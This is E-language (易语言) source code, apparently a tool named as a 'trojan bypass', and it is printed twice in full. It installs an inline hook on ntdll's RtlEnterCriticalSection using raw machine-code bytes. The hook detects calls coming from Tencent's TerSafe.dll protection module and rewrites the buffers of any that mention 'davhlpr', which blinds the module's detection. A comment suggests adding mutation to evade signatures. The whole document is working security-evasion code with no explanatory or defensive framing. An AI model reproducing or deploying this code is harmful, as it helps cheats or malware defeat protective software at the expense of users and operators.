
.版本 2
.子程序 Pass木马
RtlEnterCriticalSection = GetModuleHandleA (“TerSafe.dll”)
RtlEnterCriticalSection = ADD (RtlEnterCriticalSection, 816336, , , , )
RtlEnterCriticalSectionAddr = GetProcAddress (GetModuleHandleA (“ntdll.dll”), “RtlEnterCriticalSection”)
RtlEnterCriticalSectionRet = ADD (RtlEnterCriticalSectionAddr, 5, , , , )
JmpTo (RtlEnterCriticalSectionAddr, ADD (GetSubroutineAddress (&HookRtlEnterCriticalSection, ), 3, , , , ), )
.子程序 MyRtlEnterCriticalSection
.局部变量 局_ESP, 整数型, , , -4
.局部变量 局_EBP, 整数型, , , -8
.局部变量 局_数据, 整数型
.局部变量 局_长度, 整数型
.局部变量 局_文本, 字节集
连续赋值 (0, 局_ESP, 局_EBP)
置入代码 ({ 137, 85, 252 }) ' mov [ebp-04h],edx
置入代码 ({ 137, 125, 248 }) ' mov [ebp-08h] , edi
.如果真 (ReadMemoryInt (局_ESP, ) = RtlEnterCriticalSection)
局_数据 = ReadMemoryInt (ADD (局_EBP, 8, , , , ), )
.如果真 (局_数据 > 0)
.如果真 (ReadMemoryInt (局_数据, ) = 33554432)
局_长度 = ReadMemoryInt (ADD (局_EBP, 12, , , , ), )
局_文本 = 到字节集 (到小写 (字节集取解文 (ReadMemoryBytes (局_数据, 局_长度))))
.如果真 (寻找字节集 (局_文本, 到字节集 (“davhlpr”), ) ≠ -1)
WriteMemoryInt (ADD (局_EBP, 12, , , , ), 1, )
置入代码 ({ 139, 69, 248, 199, 128, 208, 0, 0, 0, 0, 0, 0, 0 })
.如果真结束
.如果真 (寻找字节集 (到字节集 (到小写 (字节集取文本 (ReadMemoryBytes (局_数据, 局_长度)))), 到字节集 (“davhlpr”), ) ≠ -1)
WriteMemoryInt (ADD (局_EBP, 12, , , , ), 1, )
置入代码 ({ 139, 69, 248, 199, 128, 208, 0, 0, 0, 0, 0, 0, 0 })
.如果真结束
.如果真 (寻找字节集 (ReadMemoryBytes (局_数据, 局_长度), 到字节集 (“davhlpr”), ) ≠ -1)
WriteMemoryInt (ADD (局_EBP, 12, , , , ), 1, )
.如果真结束
.如果真结束
.如果真结束
.如果真结束
.子程序 HookRtlEnterCriticalSection
置入代码 ({ 96 }) ' pushad
置入代码 ({ 156 }) ' pushfd
置入代码 ({ 137, 226 }) ' mov edx , esp
置入代码 ({ 131, 194, 36 }) ' add edx , 00000024h
置入代码 ({ 137, 239 }) ' mov edi , ebp
MyRtlEnterCriticalSection ()
置入代码 ({ 157 }) ' popfd
置入代码 ({ 97 }) ' popad
置入代码 ({ 137, 255 }) ' mov edi , edi
置入代码 ({ 85 }) ' push ebp
置入代码 ({ 137, 229 }) ' mov ebp , esp
汇编_JMP_跳回 (RtlEnterCriticalSectionRet)
.子程序 字节集取解文, 文本型, , 跳过{0} 并 解密 这里加变异就好了
.参数 欲取字节集, 字节集
.局部变量 转存字节集, 字节集
转存字节集 = 取空白字节集 (取字节集长度 (欲取字节集))
置入代码 ({ 83, 82, 81, 139, 77, 8, 139, 9, 139, 65, 4, 131, 193, 8, 139, 85, 252, 131, 194, 8, 131, 248, 1, 124, 33, 138, 25, 128, 251, 0, 116, 22, 80, 138, 195, 4, 47, 60, 128, 114, 5, 128, 235, 47, 138, 195, 132, 192, 116, 3, 136, 2, 66, 88, 65, 72, 235, 218, 89, 90, 91 })
返回 (到文本 (转存字节集))
.子程序 字节集取文本, 文本型, , 跳过{0}
.参数 欲取字节集, 字节集
.局部变量 转存字节集, 字节集
转存字节集 = 取空白字节集 (取字节集长度 (欲取字节集))
置入代码 ({ 83, 82, 81, 139, 77, 8, 139, 9, 139, 65, 4, 131, 193, 8, 139, 85, 252, 131, 194, 8, 131, 248, 1, 124, 14, 138, 25, 128, 251, 0, 116, 3, 136, 26, 66, 65, 72, 235, 237, 89, 90, 91 })
返回 (到文本 (转存字节集))
.子程序 Pass木马
RtlEnterCriticalSection = GetModuleHandleA (“TerSafe.dll”)
RtlEnterCriticalSection = ADD (RtlEnterCriticalSection, 816336, , , , )
RtlEnterCriticalSectionAddr = GetProcAddress (GetModuleHandleA (“ntdll.dll”), “RtlEnterCriticalSection”)
RtlEnterCriticalSectionRet = ADD (RtlEnterCriticalSectionAddr, 5, , , , )
JmpTo (RtlEnterCriticalSectionAddr, ADD (GetSubroutineAddress (&HookRtlEnterCriticalSection, ), 3, , , , ), )
.子程序 MyRtlEnterCriticalSection
.局部变量 局_ESP, 整数型, , , -4
.局部变量 局_EBP, 整数型, , , -8
.局部变量 局_数据, 整数型
.局部变量 局_长度, 整数型
.局部变量 局_文本, 字节集
连续赋值 (0, 局_ESP, 局_EBP)
置入代码 ({ 137, 85, 252 }) ' mov [ebp-04h],edx
置入代码 ({ 137, 125, 248 }) ' mov [ebp-08h] , edi
.如果真 (ReadMemoryInt (局_ESP, ) = RtlEnterCriticalSection)
局_数据 = ReadMemoryInt (ADD (局_EBP, 8, , , , ), )
.如果真 (局_数据 > 0)
.如果真 (ReadMemoryInt (局_数据, ) = 33554432)
局_长度 = ReadMemoryInt (ADD (局_EBP, 12, , , , ), )
局_文本 = 到字节集 (到小写 (字节集取解文 (ReadMemoryBytes (局_数据, 局_长度))))
.如果真 (寻找字节集 (局_文本, 到字节集 (“davhlpr”), ) ≠ -1)
WriteMemoryInt (ADD (局_EBP, 12, , , , ), 1, )
置入代码 ({ 139, 69, 248, 199, 128, 208, 0, 0, 0, 0, 0, 0, 0 })
.如果真结束
.如果真 (寻找字节集 (到字节集 (到小写 (字节集取文本 (ReadMemoryBytes (局_数据, 局_长度)))), 到字节集 (“davhlpr”), ) ≠ -1)
WriteMemoryInt (ADD (局_EBP, 12, , , , ), 1, )
置入代码 ({ 139, 69, 248, 199, 128, 208, 0, 0, 0, 0, 0, 0, 0 })
.如果真结束
.如果真 (寻找字节集 (ReadMemoryBytes (局_数据, 局_长度), 到字节集 (“davhlpr”), ) ≠ -1)
WriteMemoryInt (ADD (局_EBP, 12, , , , ), 1, )
.如果真结束
.如果真结束
.如果真结束
.如果真结束
.子程序 HookRtlEnterCriticalSection
置入代码 ({ 96 }) ' pushad
置入代码 ({ 156 }) ' pushfd
置入代码 ({ 137, 226 }) ' mov edx , esp
置入代码 ({ 131, 194, 36 }) ' add edx , 00000024h
置入代码 ({ 137, 239 }) ' mov edi , ebp
MyRtlEnterCriticalSection ()
置入代码 ({ 157 }) ' popfd
置入代码 ({ 97 }) ' popad
置入代码 ({ 137, 255 }) ' mov edi , edi
置入代码 ({ 85 }) ' push ebp
置入代码 ({ 137, 229 }) ' mov ebp , esp
汇编_JMP_跳回 (RtlEnterCriticalSectionRet)
.子程序 字节集取解文, 文本型, , 跳过{0} 并 解密 这里加变异就好了
.参数 欲取字节集, 字节集
.局部变量 转存字节集, 字节集
转存字节集 = 取空白字节集 (取字节集长度 (欲取字节集))
置入代码 ({ 83, 82, 81, 139, 77, 8, 139, 9, 139, 65, 4, 131, 193, 8, 139, 85, 252, 131, 194, 8, 131, 248, 1, 124, 33, 138, 25, 128, 251, 0, 116, 22, 80, 138, 195, 4, 47, 60, 128, 114, 5, 128, 235, 47, 138, 195, 132, 192, 116, 3, 136, 2, 66, 88, 65, 72, 235, 218, 89, 90, 91 })
返回 (到文本 (转存字节集))
.子程序 字节集取文本, 文本型, , 跳过{0}
.参数 欲取字节集, 字节集
.局部变量 转存字节集, 字节集
转存字节集 = 取空白字节集 (取字节集长度 (欲取字节集))
置入代码 ({ 83, 82, 81, 139, 77, 8, 139, 9, 139, 65, 4, 131, 193, 8, 139, 85, 252, 131, 194, 8, 131, 248, 1, 124, 14, 138, 25, 128, 251, 0, 116, 3, 136, 26, 66, 65, 72, 235, 237, 89, 90, 91 })
返回 (到文本 (转存字节集))















